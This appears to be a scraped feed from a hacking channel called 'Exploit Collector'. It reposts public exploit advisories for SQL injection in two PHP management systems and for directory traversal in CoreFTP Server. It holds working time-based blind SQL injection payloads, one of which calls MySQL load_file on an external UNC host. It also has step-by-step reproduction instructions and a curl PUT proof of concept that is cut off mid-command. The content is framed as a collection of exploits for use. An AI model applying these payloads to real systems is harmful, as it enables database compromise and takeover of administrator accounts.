Hacking Articles Tips Tricks Videos Tutorials

7 views18:21

Exploit Collector
Online Examination System Project 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Examination System Project 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:21

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Online Resort Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-byy861XuXi0/WWlvWQTmcNI/AAAAAAAAIOI/mFealIoTV44qfFUu4oCqUAhEFYGzd1o3ACLcBGAs/s1600/h49.png
Online Resort Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | b05c7d2cadea20813192a722bdd2ef27

Download
## Title: Online Resort Management System 1.0 SQL - Injections
## Author: nu11secur1ty
## Date: 01.09.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15126/online-resort-management-system-using-phpoop-free-source-code.html

## Description:
The id parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopeks.net\\qru'))+'
was submitted in the id parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take account control of all accounts plus an
administrator account on this system.
Status: CRITICAL

[+] Payload:

```mysql
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=view_room&id=5'+(select
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopek.net\\qru'))+''
AND (SELECT 7995 FROM (SELECT(SLEEP(3)))MQXi) AND 'RNQM'='RNQM
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Online-Resort-Management-System-1.0)

## Proof and Exploit:
[href](https://streamable.com/524sxp)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Resort Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:21

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
CoreFTP Server Build 725 Directory Traversal

https://4.bp.blogspot.com/-5kb4UTwsKkE/WWlvjussFoI/AAAAAAAAIQs/uqojaqb90NcMo4ROOoH-c5uvdKeDdbGswCLcBGAs/s1600/h94.png
CoreFTP server build version 725 suffers from a directory traversal vulnerability.

MD5 | 23709190a7e9ca64fcf97880d8565221

Download
# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host:
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

CoreFTP Server Build 725 Directory Traversal

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

10 viewsedited 18:21

Hacking Articles Tips Tricks Videos Tutorials

9 views18:21

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Online Railway Reservation System 1.0 SQL Injection

https://2.bp.blogspot.com/-DNFQNR6e8p4/WWlvIe_2SVI/AAAAAAAAILs/sd08rXaHefk0y1DdsYY6dPeiz0i718ntQCLcBGAs/s1600/h143.png
Online Railway Reservation System version 1.0 suffers from an unauthenticated remote SQL injection vulnerability.

MD5 | 2a0806303eb3cb758ed3f98588e91417

Download

# Exploit Title: Online Railway Reservation System 1.0 - 'id' SQL Injection (Unauthenticated)
# Date: 07/01/2022
# Exploit Author: twseptian
# Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip
# Version: v1.0
# Tested on: Kali Linux 2021.4,PHP 7.4.26

*SQL Injection*
SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to it's database. Online Railway Reservation System v1.0 is vulnerable to SQL injection via the 'id' parameter on the Reservation Form.

*Attack Vector*
An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap.

*Steps of reproduce:*
Step-1: Navigate to 'Schedule' > go to 'Book' or 'Revervation Form' page using the following URL: 
http://localhost/orrs/?page=reserve&sid=1

Step-2: Put the SQL Injection payloads in 'id' field.
In this we used time-based blind payload: /orrs/?page=reserve&sid=1') AND (SELECT 6842 FROM (SELECT(SLEEP(5)))UsWr) AND ('WBCm'='WBCm

Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds.